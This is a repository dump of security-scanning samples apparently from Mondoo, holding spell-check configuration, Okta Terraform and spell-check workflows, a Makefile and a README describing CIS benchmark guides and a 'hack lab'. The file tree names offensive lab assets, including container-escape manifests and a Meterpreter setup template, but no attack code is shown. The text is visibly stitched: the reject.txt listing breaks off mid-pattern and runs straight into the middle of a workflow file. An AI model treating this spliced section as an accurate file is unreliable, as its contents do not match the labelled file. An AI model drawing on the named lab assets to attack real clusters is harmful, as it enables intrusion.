├── .copywrite.hcl
├── .github
├── actions
│ └── spelling
│ │ ├── README.md
│ │ ├── advice.md
│ │ ├── allow.txt
│ │ ├── excludes.txt
│ │ ├── expect.txt
│ │ ├── line_forbidden.patterns
│ │ ├── only.txt
│ │ ├── patterns.txt
│ │ └── reject.txt
├── social
│ ├── preview_dark.jpg
│ └── preview_light.jpg
└── workflows
│ ├── okta-provisioning.yaml
│ └── spell-check.yaml
├── .gitignore
├── .prettierignore
├── LICENSE
├── Makefile
├── README.md
├── aws
├── cis-benchmark
│ ├── README.md
│ ├── aws-account-cis-benchmark.gif
│ ├── aws-account-cis-benchmark.mp4
│ └── recording.tape
├── ec2-instance-connect
│ ├── README.md
│ ├── aws-ec2-instance.gif
│ ├── aws-ec2-instance.mp4
│ └── recording.tape
├── ec2-instance-proxy
│ ├── README.md
│ ├── amis.tf
│ ├── main.tf
│ ├── outputs.tf
│ ├── providers.tf
│ └── variables.tf
├── ec2-instances
│ ├── README.md
│ ├── amis.tf
│ ├── main.tf
│ ├── outputs.tf
│ ├── providers.tf
│ └── variables.tf
├── iam-mfa
│ ├── README.md
│ ├── aws-iam-mfa.gif
│ ├── aws-iam-mfa.mp4
│ └── recording.tape
└── public-s3
│ ├── README.md
│ ├── aws-public-s3.gif
│ ├── aws-public-s3.mp4
│ └── recording.tape
├── azure
├── README.md
├── main.tf
├── output.tf
├── variables.tf
└── versions.tf
├── gcp
└── cis-benchmark
│ ├── README.md
│ ├── gcp-project-cis-benchmark.gif
│ ├── gcp-project-cis-benchmark.mp4
│ └── recording.tape
├── github
└── cis-supply-chain
│ ├── README.md
│ ├── github-supply-chain.gif
│ ├── github-supply-chain.mp4
│ └── recording.tape
├── graphql-api
├── .gitignore
├── Compliance
│ ├── Framework- Disable.bru
│ ├── Framework- Enable.bru
│ └── folder.bru
├── Findings
│ ├── Asset- Findings - Advisories.bru
│ ├── Asset- Findings - Check.bru
│ ├── Asset- Findings - Software.bru
│ ├── Asset- Findings - Vulnerabiltiies.bru
│ ├── Space- Findings.bru
│ └── folder.bru
├── IAM
│ ├── SSH- Add Key.bru
│ ├── SSH- List Keys.bru
│ ├── Service Account- List.bru
│ ├── WIF- Create Binding.bru
│ ├── WIF- Exchange Token.bru
│ ├── WIF- List Bindings.bru
│ └── folder.bru
├── Inventory
│ ├── Assets- List.bru
│ ├── Query Pack- List Available.bru
│ ├── Query Pack- List Enabled.bru
│ ├── Search.bru
│ └── folder.bru
├── README.md
├── Security Model
│ ├── Policy- Disable.bru
│ ├── Policy- Enable.bru
│ ├── Policy- List Available.bru
│ ├── Policy- List Enabled.bru
│ └── folder.bru
├── Status
│ ├── Health Check.bru
│ └── folder.bru
├── bruno.json
├── environments
│ └── Mondoo.bru
└── organization
│ ├── Org- List Members.bru
│ ├── Org- List Spaces.bru
│ └── folder.bru
├── hack-lab
├── container-escape
│ ├── README.md
│ ├── assets
│ │ ├── container-escape-service-account.graphml
│ │ ├── container-escape-service-account.png
│ │ ├── container-escape.graphml
│ │ ├── container-escape.png
│ │ ├── dvwa-deployment-no-privileged.yml
│ │ ├── dvwa-deployment.yml
│ │ ├── dvwa_db_reset.png
│ │ ├── dvwa_login.png
│ │ ├── escape-to-node.yaml
│ │ ├── kali-deployment.yml
│ │ ├── mondoo-dashboard-k8s-install-commands-aks.png
│ │ ├── mondoo-dashboard-k8s-install-commands-eks.png
│ │ ├── mondoo-dashboard-k8s-integration-aks.png
│ │ ├── mondoo-dashboard-k8s-integration-eks.png
│ │ └── rolebinding-abuse.yaml
│ ├── aws
│ │ ├── README.md
│ │ ├── main.tf
│ │ ├── outputs.tf
│ │ ├── provider.tf
│ │ ├── templates
│ │ │ └── setup_metapreter
│ │ ├── variables.tf
│ │ └── versions.tf
│ ├── azure
│ │ ├── README.md
│ │ ├── main.tf
│ │ ├── output.tf
│ │ ├── templates
│ │ │ └── prepare-hacking-vm.tpl
│ │ ├── variables.tf
│ │ └── versions.tf
│ ├── gcp
│ │ ├── README.md
│ │ ├── main.tf
│ │ ├── outputs.tf
│ │ ├── templates
│ │ │ └── prepare-hacking-vm.tpl
│ │ ├── variables.tf
│ │ └── versions.tf
│ └── minikube
│ │ ├── README.md
│ │ ├── main.tf
│ │ ├── multi_deploy.sh
│ │ ├── multi_destroy.sh
│ │ ├── output.tf
│ │ ├── provider.tf
│ │ ├── templates
│ │ ├── change-password.tpl
│ │ └── minikube-install.tpl
│ │ ├── variables.tf
│ │ └── versions.tf
└── windows-hack-environment
│ ├── README.md
│ ├── ansible-inventory
│ ├── ansible.cfg
│ ├── roles
│ │ ├── adcs-enrollment
│ │ │ ├── files
│ │ │ │ └── gpo_backup
│ │ │ │ │ ├── manifest.xml
│ │ │ │ │ └── {7019A447-1699-4D1A-AF1F-FB6064E39B62}
│ │ │ │ │ ├── Backup.xml
│ │ │ │ │ ├── DomainSysvol
│ │ │ │ │ └── GPO
│ │ │ │ │ │ └── Machine
│ │ │ │ │ │ ├── Microsoft
│ │ │ │ │ │ └── Windows NT
│ │ │ │ │ │ │ └── SecEdit
│ │ │ │ │ │ │ └── GptTmpl.inf
│ │ │ │ │ │ └── registry.pol
│ │ │ │ │ ├── bkupInfo.xml
│ │ │ │ │ └── gpreport.xml
│ │ │ ├── library
│ │ │ │ ├── win_adcs_template.ps1
│ │ │ │ ├── win_adcs_template.py
│ │ │ │ ├── win_gpo_link.ps1
│ │ │ │ ├── win_gpo_link.py
│ │ │ │ ├── win_gpo_reg.ps1
│ │ │ │ └── win_gpo_reg.py
│ │ │ ├── tasks
│ │ │ │ ├── adcs_template.yml
│ │ │ │ ├── gpo.yml
│ │ │ │ └── main.yml
│ │ │ ├── templates
│ │ │ │ └── adcs_template.xml.j2
│ │ │ └── vars
│ │ │ │ └── main.yml
│ │ ├── windows-ad
│ │ │ ├── defaults
│ │ │ │ └── main.yml
│ │ │ └── tasks
│ │ │ │ ├── create-domain.yml
│ │ │ │ ├── create-local-admin.yml
│ │ │ │ ├── dns-config.yml
│ │ │ │ ├── join-to-domain.yml
│ │ │ │ └── prepare-system.yml
│ │ └── windows-exchange
│ │ │ ├── defaults
│ │ │ └── main.yml
│ │ │ └── tasks
│ │ │ └── main.yml
│ ├── windows-deploy-ad.yml
│ ├── windows-dvwa.yml
│ └── windows-exchange.yml
│ ├── main.tf
│ ├── output.tf
│ ├── provider.tf
│ ├── templates
│ └── change-password.tftpl
│ ├── variables.tf
│ └── versions.tf
└── okta
└── okta-terraform-provisioning
├── README.md
├── assets
├── healthinsights-passed.png
└── okta-dev.png
├── main.tf
├── okta_factor.tf
├── okta_policy_password_default.tf
├── okta_security_notification_emails.tf
├── okta_threat_insight_settings.tf
├── provider.tf
└── variables.tf
/.copywrite.hcl:
--------------------------------------------------------------------------------
1 | schema_version = 1
2 |
3 | project {
4 | license = "MPL-2.0"
5 | copyright_holder = "Mondoo, Inc."
6 | copyright_year = 2023
7 |
8 | # (OPTIONAL) A list of globs that should not have copyright/license headers.
9 | # Supports doublestar glob patterns for more flexibility in defining which
10 | # files or folders should be ignored
11 | header_ignore = [
12 | "**/*.tf",
13 | "**/testdata/**",
14 | "**/*.pb.go",
15 | "**/*_string.go",
16 | ]
17 | }
--------------------------------------------------------------------------------
/.github/actions/spelling/README.md:
--------------------------------------------------------------------------------
1 | # check-spelling/check-spelling configuration
2 |
3 | | File | Purpose | Format | Info |
4 | | -------------------------------------------------- | --------------------------------------------------------------- | --------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
5 | | [allow.txt](allow.txt) | Add words to the dictionary | one word per line (only letters and `'`s allowed) | [allow](https://github.com/check-spelling/check-spelling/wiki/Configuration#allow) |
6 | | [reject.txt](reject.txt) | Remove words from the dictionary (after allow) | grep pattern matching whole dictionary words | [reject](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-reject) |
7 | | [excludes.txt](excludes.txt) | Files to ignore entirely | perl regular expression | [excludes](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-excludes) |
8 | | [only.txt](only.txt) | Only check matching files (applied after excludes) | perl regular expression | [only](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-only) |
9 | | [patterns.txt](patterns.txt) | Patterns to ignore from checked lines | perl regular expression (order matters, first match wins) | [patterns](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-patterns) |
10 | | [line_forbidden.patterns](line_forbidden.patterns) | Patterns to flag in checked lines | perl regular expression (order matters, first match wins) | [patterns](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-patterns) |
11 | | [expect.txt](expect.txt) | Expected words that aren't in the dictionary | one word per line (sorted, alphabetically) | [expect](https://github.com/check-spelling/check-spelling/wiki/Configuration#expect) |
12 | | [advice.md](advice.md) | Supplement for GitHub comment when unrecognized words are found | GitHub Markdown | [advice](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples%3A-advice) |
13 |
14 | Note: you can replace any of these files with a directory by the same name (minus the suffix)
15 | and then include multiple files inside that directory (with that suffix) to merge multiple files together.
16 |
--------------------------------------------------------------------------------
/.github/actions/spelling/advice.md:
--------------------------------------------------------------------------------
1 |
2 | If the flagged items are false positives
3 |
4 | If items relate to a ...
5 |
6 | - binary file (or some other file you wouldn't want to check at all).
7 |
8 | Please add a file path to the `excludes.txt` file matching the containing file.
9 |
10 | File paths are Perl 5 Regular Expressions - you can [test](https://www.regexplanet.com/advanced/perl/) yours before committing to verify it will match your files.
11 |
12 | `^` refers to the file's path from the root of the repository, so `^README\.md$` would exclude README.md (on whichever branch you're using).
13 |
14 | - well-formed pattern.
15 |
16 | If you can write a [pattern](https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples:-patterns) that would match it,
17 | try adding it to the `patterns.txt` file.
18 |
19 | Patterns are Perl 5 Regular Expressions - you can [test](https://www.regexplanet.com/advanced/perl/) yours before committing to verify it will match your lines.
20 |
21 | Note that patterns can't match multiline strings.
22 |
23 |
24 |
--------------------------------------------------------------------------------
/.github/actions/spelling/allow.txt:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/.github/actions/spelling/allow.txt
--------------------------------------------------------------------------------
/.github/actions/spelling/excludes.txt:
--------------------------------------------------------------------------------
1 | # See https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples:-excludes
2 | (?:^|/)(?i)COPYRIGHT
3 | (?:^|/)(?i)LICEN[CS]E
4 | (?:^|/)go\.sum$
5 | (?:^|/)package(?:-lock|)\.json$
6 | (?:^|/)vendor/
7 | ignore$
8 | \.a$
9 | \.ai$
10 | \.avi$
11 | \.bmp$
12 | \.bz2$
13 | \.crt$
14 | \.dll$
15 | \.DS_Store$
16 | \.eot$
17 | \.exe$
18 | \.gif$
19 | \.gitattributes$
20 | \.graffle$
21 | \.gz$
22 | \.icns$
23 | \.ico$
24 | \.jar$
25 | \.jpe?g$
26 | \.key$
27 | \.lib$
28 | \.lock$
29 | \.map$
30 | \.min\..
31 | \.mod$
32 | \.mp[34]$
33 | \.o$
34 | \.ocf$
35 | \.otf$
36 | \.pdf$
37 | \.pem$
38 | \.png$
39 | \.psd$
40 | \.s$
41 | \.svg$
42 | \.tiff?$
43 | \.ttf$
44 | \.wav$
45 | \.webm$
46 | \.webp$
47 | \.woff2?$
48 | \.zip$
49 | ^\.github/actions/spelling/
50 | ^\Q.github/workflows/spelling.yml\E$
51 |
--------------------------------------------------------------------------------
/.github/actions/spelling/expect.txt:
--------------------------------------------------------------------------------
1 | akic
2 | baf
3 | bru
4 | cgrp
5 | chronos
6 | Ckxomxaar
7 | cpe
8 | cqc
9 | dfdaf
10 | Dvf
11 | dvwa
12 | eecdfd
13 | FFn
14 | fjw
15 | fzvkw
16 | Gci
17 | hacklab
18 | hnlj
19 | hostpid
20 | hushlogin
21 | IBAA
22 | icanhazip
23 | Ikp
24 | JFUz
25 | Jhb
26 | kalilinux
27 | kbcxs
28 | kvct
29 | Kyybse
30 | lhost
31 | linux
32 | lport
33 | messagebus
34 | meterpreter
35 | MIIJKg
36 | msfconsole
37 | nch
38 | NCIs
39 | ndots
40 | nginx
41 | noproxy
42 | OPENSSH
43 | Perfetto
44 | pfuj
45 | pmuench
46 | procs
47 | randomart
48 | rdm
49 | rhel
50 | rkd
51 | secops
52 | Thu
53 | timesync
54 | umxf
55 | unminimize
56 | unnyfkbt
57 | upperdir
58 | vmss
59 | webserver
60 | xdsp
61 | XVCJ
62 |
--------------------------------------------------------------------------------
/.github/actions/spelling/only.txt:
--------------------------------------------------------------------------------
1 | \.md$
2 |
--------------------------------------------------------------------------------
/.github/actions/spelling/patterns.txt:
--------------------------------------------------------------------------------
1 | # See https://github.com/check-spelling/check-spelling/wiki/Configuration-Examples:-patterns
2 |
3 | # acceptable duplicates
4 | # ls directory listings
5 | [-bcdlpsw](?:[-r][-w][-sx]){3}\s+\d+\s+(\S+)\s+\g{-1}\s+\d+\s+
6 |
7 | # Commit message -- Signed-off-by and friends
8 | ^\s*(?:(?:Based-on-patch|Co-authored|Helped|Mentored|Reported|Reviewed|Signed-off)-by|Thanks-to): (?:[^<]*<[^>]*>|[^<]*)\s*$
9 |
10 | # Autogenerated revert commit message
11 | ^This reverts commit [0-9a-f]{40}\.$
12 |
13 | # ignore long runs of a single character:
14 | \b([A-Za-z])\g{-1}{3,}\b
15 |
16 | # ignore funky space IDs that blow up spell checking
17 | api\.mondoo\.app\/space.*\b
18 | console\.mondoo\.com\/space.*\b
19 |
20 | # azure subscription ID
21 | [0-9A-Fa-f]{8}-([0-9A-Fa-f]{4}-){3}[0-9A-Fa-f]{12}
22 |
23 | # azure subscriptions URL
24 | \/subscriptions\/\S*
25 |
26 | # docker container
27 | \b[a-z,0-9]{12}\b
28 |
29 | # URLs in markdown links / images
30 | ]\(.*\)
31 |
32 | # Azure Key Vault Vault. It feels wrong, but it's technically right
33 | Key Vault Vault
34 |
35 | # luna containers in scan output
36 | \bluna/.*\b
37 |
38 | # this comes up in permissions and is valid
39 | \broot root\b
40 |
41 | # AWS resources
42 | (ami|subnet|vpc|sg)-[0-9a-fA-F]{17}
43 |
44 | # http and https URLs
45 | https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&//=]*)
46 |
47 | # registry key paths
48 | HKEY_[\w\\]*
49 |
50 | # Container digests
51 | \bsha256:\w*
52 |
53 | # mime types
54 | \bapplication\/\S*
55 |
56 | # skip mql uids
57 | uid:\s.*$
58 |
59 | # ARN values
60 | \barn:\S*
61 |
62 | # mac user dir path
63 | \/Users\/\S*
64 |
65 | # AWS Token, ID access key, etc
66 | aws_session_token\s+\=(\s+)?.+
67 | aws_access_key_id\s+\=(\s+)?.+
68 | aws_secret_access_key\s+\=(\s+)?.+
69 |
70 | # PGP
71 | \b(?:[0-9A-F]{4} ){9}[0-9A-F]{4}\b
72 | # GPG keys
73 | \b(?:[0-9A-F]{4} ){5}(?: [0-9A-F]{4}){5}\b
74 |
75 | # uuid
76 | \b[0-9a-fA-F]{8}-(?:[0-9a-fA-F]{4}-){3}[0-9a-fA-F]{12}\b
77 |
78 | # curl arguments
79 | \b(?:\\n|)curl(?:\s+-[a-zA-Z]{1,2}\b)*(?:\s+-[a-zA-Z]{3,})(?:\s+-[a-zA-Z]+)*
80 |
81 | # set arguments
82 | \bset(?:\s+-[abefimouxE]{1,2})*\s+-[abefimouxE]{3,}(?:\s+-[abefimouxE]+)*
83 |
84 | # tar arguments
85 | \b(?:\\n|)g?tar(?:\.exe|)(?:(?:\s+--[-a-zA-Z]+|\s+-[a-zA-Z]+|\s[ABGJMOPRSUWZacdfh-pr-xz]+\b)(?:=[^ ]*|))+
86 |
87 | # file permissions
88 | ['"`\s][-bcdLlpsw](?:[-r][-w][-Ssx]){2}[-r][-w][-SsTtx]\+?['"`\s]
89 |
90 | # score score is valid in MQL docs
91 | score score
92 |
93 | # SHA256 values
94 | \nSHA256:\S*
95 |
96 | # long cert lines in config
97 | \bcluster_certificate_authority_data = .*
98 |
--------------------------------------------------------------------------------
/.github/actions/spelling/reject.txt:
--------------------------------------------------------------------------------
1 | ad-hoc
2 | ^attache$
3 | benefitting
4 | occurences?
5 | ^dependan.*
6 | ^oer$
7 | Sorce
8 | ^[Ss]pae.*
9 | ^untill$
10 | ^untilling$
11 | ^wether.*
12 | \w*(?> $GITHUB_STEP_SUMMARY
65 | echo "" >> $GITHUB_STEP_SUMMARY
66 | cnspec scan terraform ./okta/okta-terraform-provisioning --asset-name ${{ vars.OKTA_ORG_NAME }}-terraform-hcl >> $GITHUB_STEP_SUMMARY
67 | echo "CNSPEC_PRE_SCAN=$GITHUB_STEP_SUMMARY" >> $GITHUB_ENV
68 |
69 | terraform-plan:
70 | name: Generate Terraform Plan
71 | runs-on: ubuntu-latest
72 | container: hashicorp/terraform:1.4
73 | needs: cnspec-scan-terraform-hcl
74 |
75 | steps:
76 | - name: Check out repository code
77 | uses: actions/checkout@v3
78 |
79 | - id: 'google-cloud-auth'
80 | name: 'Authenticate to Google Cloud'
81 | uses: 'google-github-actions/auth@v1'
82 | with:
83 | credentials_json: '${{ secrets.GOOGLE_CREDENTIALS }}'
84 |
85 | - name: Mitigate that fancy action/cache@v3 does not work with busybox tar on alpine
86 | run: apk add --no-cache tar
87 |
88 | - name: Use cache to share files between jobs
89 | uses: actions/cache@v3
90 | id: terraform-plan
91 | with:
92 | key: ${{ runner.os }}-terraform-${{ hashFiles('**/okta/okta-terraform-provisioning/**') }}
93 | path: ./okta/okta-terraform-provisioning/plan.json
94 |
95 | - name: Terraform init
96 | run: terraform -chdir="./okta/okta-terraform-provisioning" init
97 |
98 | - name: Terraform plan
99 | run: terraform -chdir="./okta/okta-terraform-provisioning" plan -out=plan.out
100 |
101 | - name: Terraform show
102 | run: terraform -chdir="./okta/okta-terraform-provisioning" show -json plan.out > ./okta/okta-terraform-provisioning/plan.json
103 |
104 | post-plan-scan:
105 | name: Scan Terraform (post-plan)
106 | needs: terraform-plan
107 | runs-on: ubuntu-latest
108 | container: mondoo/cnspec:9
109 |
110 | steps:
111 | - name: Check out repository code
112 | uses: actions/checkout@v3
113 |
114 | - name: Use cache to share files between jobs
115 | uses: actions/cache@v3
116 | id: terraform-plan
117 | with:
118 | key: ${{ runner.os }}-terraform-${{ hashFiles('**/okta/okta-terraform-provisioning/**') }}
119 | path: ./okta/okta-terraform-provisioning/plan.json
120 |
121 | - name: Scan ${{ vars.OKTA_ORG_NAME }} Terraform Plan (post-plan)
122 | run: |
123 | echo "### ${{ vars.OKTA_ORG_NAME }} Terraform post-plan security scan :shield:" >> $GITHUB_STEP_SUMMARY
124 | echo "" >> $GITHUB_STEP_SUMMARY
125 | cnspec scan terraform plan ./okta/okta-terraform-provisioning/plan.json --asset-name ${{ vars.OKTA_ORG_NAME }}-terraform-plan >> $GITHUB_STEP_SUMMARY
126 | echo "CNSPEC_PRE_SCAN=$GITHUB_STEP_SUMMARY" >> $GITHUB_ENV
127 | env:
128 | MONDOO_DETECT_CICD: false
129 |
130 | terraform-apply:
131 | name: Terraform Apply
132 | runs-on: ubuntu-latest
133 | container: hashicorp/terraform:1.4
134 | needs: post-plan-scan
135 |
136 | steps:
137 | - name: Check out repository code
138 | uses: actions/checkout@v3
139 |
140 | - id: 'google-cloud-auth'
141 | name: 'Authenticate to Google Cloud'
142 | uses: 'google-github-actions/auth@v1'
143 | with:
144 | credentials_json: '${{ secrets.GOOGLE_CREDENTIALS }}'
145 |
146 | - name: Terraform init
147 | run: terraform -chdir="./okta/okta-terraform-provisioning" init
148 |
149 | - name: Terraform Apply
150 | run: terraform -chdir="./okta/okta-terraform-provisioning" apply -auto-approve
151 |
152 | post-apply-scan:
153 | name: Scan Okta Org (Post-Apply)
154 | needs: terraform-apply
155 | runs-on: ubuntu-latest
156 | container: mondoo/cnspec:9
157 |
158 | steps:
159 | - name: Check out repository code
160 | uses: actions/checkout@v3
161 |
162 | - name: Scan ${{ vars.OKTA_ORG_NAME }}.okta.com
163 | run: |
164 | echo "### ${{ vars.OKTA_ORG_NAME }}.okta.com security scan (post-apply) :shield:" >> $GITHUB_STEP_SUMMARY
165 | echo "" >> $GITHUB_STEP_SUMMARY
166 | cnspec scan okta --organization ${{ vars.OKTA_ORG_NAME }}.okta.com --token ${{ secrets.OKTA_API_TOKEN }} --asset-name ${{ vars.OKTA_ORG_NAME }}.okta.com >> $GITHUB_STEP_SUMMARY
167 | echo "CNSPEC_PRE_SCAN=$GITHUB_STEP_SUMMARY" >> $GITHUB_ENV
--------------------------------------------------------------------------------
/.github/workflows/spell-check.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | name: Spell Checking
3 |
4 | on:
5 | pull_request:
6 | types: [opened, reopened, synchronize]
7 |
8 | jobs:
9 | spelling:
10 | name: Run spell check
11 | permissions:
12 | contents: read
13 | pull-requests: read
14 | actions: read
15 | outputs:
16 | followup: ${{ steps.spelling.outputs.followup }}
17 | runs-on: ubuntu-latest
18 | if: "contains(github.event_name, 'pull_request') || github.event_name == 'push'"
19 | concurrency:
20 | group: spelling-${{ github.event.pull_request.number || github.ref }}
21 | # note: If you use only_check_changed_files, you do not want cancel-in-progress
22 | cancel-in-progress: true
23 | steps:
24 | - name: check-spelling
25 | id: spelling
26 | uses: check-spelling/check-spelling@v0.0.24
27 | with:
28 | disable_checks: noisy-file
29 | suppress_push_for_open_pull_request: 1
30 | checkout: true
31 | post_comment: 0
32 | dictionary_source_prefixes: '{"mondoo": "https://raw.githubusercontent.com/mondoohq/spellcheck-dictionary/main/", "cspell": "https://raw.githubusercontent.com/check-spelling/cspell-dicts/v20230509/dictionaries/"}'
33 | extra_dictionaries: cspell:aws/aws.txt
34 | cspell:filetypes/filetypes.txt
35 | cspell:software-terms/src/software-terms.txt
36 | cspell:software-terms/src/software-tools.txt
37 | cspell:companies/src/companies.txt
38 | mondoo:mondoo_dictionary.txt
39 |
40 | comment:
41 | name: Report
42 | runs-on: ubuntu-latest
43 | needs: spelling
44 | permissions:
45 | contents: write
46 | pull-requests: write
47 | if: (success() || failure()) && needs.spelling.outputs.followup
48 | steps:
49 | - name: comment
50 | uses: check-spelling/check-spelling@v0.0.22
51 | with:
52 | checkout: true
53 | task: ${{ needs.spelling.outputs.followup }}
54 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Local .terraform directories
2 | **/.terraform/*
3 |
4 | # .tfstate files
5 | *.tfstate
6 | *.tfstate.*
7 |
8 | # Crash log files
9 | crash.log
10 | crash.*.log
11 |
12 | # Exclude all .tfvars files, which are likely to contain sensitive data, such as
13 | # password, private keys, and other secrets. These should not be part of version
14 | # control as they are data points which are potentially sensitive and subject
15 | # to change depending on the environment.
16 | *.tfvars
17 | *.tfvars.json
18 |
19 | # Ignore override files as they are usually used to override resources locally and so
20 | # are not checked in
21 | override.tf
22 | override.tf.json
23 | *_override.tf
24 | *_override.tf.json
25 |
26 | # Include override files you do wish to add to version control using negated pattern
27 | # !example_override.tf
28 |
29 | # Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan
30 | # example: *tfplan*
31 |
32 | # Ignore CLI configuration files
33 | .terraformrc
34 | terraform.rc
35 |
36 | # Ignore EKS cluster config
37 | eks-demo-config
38 |
39 | # Ignore Azure demo credentials
40 | aks-kubeconfig
41 | id_rsa
42 |
43 | **/.env
44 |
45 | # Terraform plan
46 | *tfplan*
47 |
48 | # Terraform Lock
49 | .terraform.lock*
50 |
--------------------------------------------------------------------------------
/.prettierignore:
--------------------------------------------------------------------------------
1 | container-escape/dvwa-example/dvwa/
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | # Install prettier gloablly via
2 | # yarn global add prettier --prefix /usr/local
3 | .PHONY: fmt
4 | fmt:
5 | prettier --write .
6 |
7 | .PHONY: test/fmt
8 | test/fmt:
9 | prettier --check .
10 |
11 | # Copywrite Check Tool: https://github.com/hashicorp/copywrite
12 | license: license/headers/check
13 |
14 | license/headers/check:
15 | copywrite headers --plan
16 |
17 | license/headers/apply:
18 | copywrite headers
19 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Security Scanning with cnspec, cnquery, and Mondoo Platform
2 |
3 | 
4 | 
5 |
6 | Welcome to our comprehensive security scanning repository! In our ongoing effort to empower the highest standards of security, we've gathered a variety of examples and guides to help you conduct thorough security audits on your resources using `cnspec`, `cnquery`, and Mondoo Platform. Our examples, ranging from AWS services to GitHub repositories, are structured with a clear overview, prerequisites, step-by-step instructions, expected results, and troubleshooting tips. We trust these will serve as a beneficial starting point for your own security scanning needs.
7 |
8 | - [What are cnspec, cnquery, and Mondoo Platform?](#what-are-cnspec-cnquery-and-mondoo-platform)
9 | - [AWS](#aws)
10 | - [Performing CIS AWS Foundations Benchmark with cnspec](#performing-cis-aws-foundations-benchmark-with-cnspec)
11 | - [Checking Public Exposure of AWS S3 Buckets with cnspec](#checking-public-exposure-of-aws-s3-buckets-with-cnspec)
12 | - [Verifying MFA Status for AWS IAM Users](#verifying-mfa-status-for-aws-iam-users)
13 | - [Scanning an AWS EC2 Instance with cnspec using EC2 Instance Connect](#scanning-an-aws-ec2-instance-with-cnspec-using-ec2-instance-connect)
14 | - [GitHub](#github)
15 | - [Performing CIS GitHub Supply Chain Benchmark with cnspec](#performing-cis-github-supply-chain-benchmark-with-cnspec)
16 | - [GraphQL API Examples](#graphql-api-examples)
17 | - [Hack Lab](#hack-lab)
18 | - [Demonstrating Container Escape in Kubernetes](#demonstrating-container-escape-in-kubernetes)
19 | - [Playing with AWS EC2 Instances](#playing-with-aws-ec2-instances)
20 | - [Contributing](#contributing)
21 |
22 | ## What are cnspec, cnquery, and Mondoo Platform?
23 |
24 | `cnspec` is a powerful command-line tool designed for conducting security benchmark tests against various systems, providing insights into potential vulnerabilities and areas of improvement.
25 |
26 | `cnquery` is another versatile command-line tool that facilitates advanced querying against your infrastructure data, allowing you to understand and manage your infrastructure more effectively.
27 |
28 | Mondoo Platform is a cloud-native, security and compliance automation platform that enables businesses to secure their infrastructure continuously and at scale.
29 |
30 | Together, these provide a comprehensive approach to managing and maintaining the security posture of your systems.
31 |
32 | ## AWS
33 |
34 | ### Performing CIS AWS Foundations Benchmark with cnspec
35 |
36 | This guide provides an example on how to execute a CIS Amazon Web Services Foundations Benchmark on your AWS account using the `cnspec`. The CIS (Center for Internet Security) Amazon Web Services Foundations Benchmark provides a set of security configuration best practices for AWS. Performing this benchmark will help ensure that your AWS environment is secure and adheres to the principles of least privilege and defense in depth.
37 |
38 | 
39 |
40 | - [Instructions](./aws/cis-benchmark/)
41 |
42 | ### Checking Public Exposure of AWS S3 Buckets with cnspec
43 |
44 | This example uses `cnspec` to check for publicly exposed AWS S3 buckets within your AWS account. Publicly exposed buckets can lead to unauthorized access or data breaches, and it's critical to ensure they are secure.
45 |
46 | 
47 |
48 | - [Instructions](./aws/public-s3/)
49 |
50 | ### Verifying MFA Status for AWS IAM Users
51 |
52 | This guide demonstrates how to verify that all AWS IAM users have Multi-Factor Authentication (MFA) enabled. Ensuring MFA is crucial in securing your AWS resources as it offers an additional layer of protection by requiring users to provide at least two forms of identification.
53 |
54 | 
55 |
56 | - [Instructions](./aws/iam-mfa/)
57 |
58 | ### Scanning an AWS EC2 Instance with cnspec using EC2 Instance Connect
59 |
60 | This guide walks you through conducting a security scan on an AWS EC2 instance utilizing `cnspec` and EC2 Instance Connect. EC2 Instance Connect provides a secure and auditable means to connect to your instances, thereby eliminating the necessity to have an open public SSH port.
61 |
62 | 
63 |
64 | - [Instructions](./aws/ec2-instance-connect/)
65 |
66 | ## GitHub
67 |
68 | ### Performing CIS GitHub Supply Chain Benchmark with cnspec
69 |
70 | This guide provides an example on how to execute the CIS (Center for Internet Security) GitHub Benchmark on GitHub repositories and organizations using the `cnspec` and Mondoo Platform. These benchmarks offer a standardized set of procedures to assess the security posture of GitHub repositories and organizations, helping to identify vulnerabilities or potential areas for security enhancements.
71 |
72 | 
73 |
74 | - [Instructions](./github/cis-supply-chain/)
75 |
76 | ## GraphQL API Examples
77 |
78 | The [examples](./graphql-api) demonstrate how to query and interact with Mondoo Platform using GraphQL.
79 |
80 | ## Hack Lab
81 |
82 | The Hack Lab is a collection of vulnerable systems that can be used to learn and practice security concepts. The Hack Lab is a great way to get started with security scanning and learn how to use `cnspec` and `cnquery` to identify and resolve security issues.
83 |
84 | ### Demonstrating Container Escape in Kubernetes
85 |
86 | This houses demonstration scenarios showcasing container escapes in Kubernetes environments, particularly in AKS (Azure Kubernetes Service), EKS (Amazon Elastic Kubernetes Service) and GKE (Google Container Engine). These scenarios can serve as engaging demonstrations using Mondoo.
87 |
88 | - [Instructions](./hacklab/container-escape/)
89 |
90 | ## Playing with AWS EC2 Instances
91 |
92 | The AWS EC2 Instances is a terraform to deploy hardened and not hardened Windows as well as Linux systems.
93 |
94 | - [Instructions](./aws/ec2-instance/)
95 |
96 | ## Contributing
97 |
98 | We welcome contributions! Feel free to submit pull requests for new examples or improvements to existing ones. If you encounter any issues or have questions, please open an issue in this repository or join our [GitHub discussions](https://github.com/orgs/mondoohq/discussions) page. We're here to help!
99 |
--------------------------------------------------------------------------------
/aws/cis-benchmark/README.md:
--------------------------------------------------------------------------------
1 | # Performing CIS AWS Foundations Benchmark with cnspec
2 |
3 | ## Overview
4 |
5 | This guide provides an example on how to execute a CIS Amazon Web Services Foundations Benchmark on your AWS account using the `cnspec`. The CIS (Center for Internet Security) Amazon Web Services Foundations Benchmark provides a set of security configuration best practices for AWS. Performing this benchmark will help ensure that your AWS environment is secure and adheres to the principles of least privilege and defense in depth.
6 |
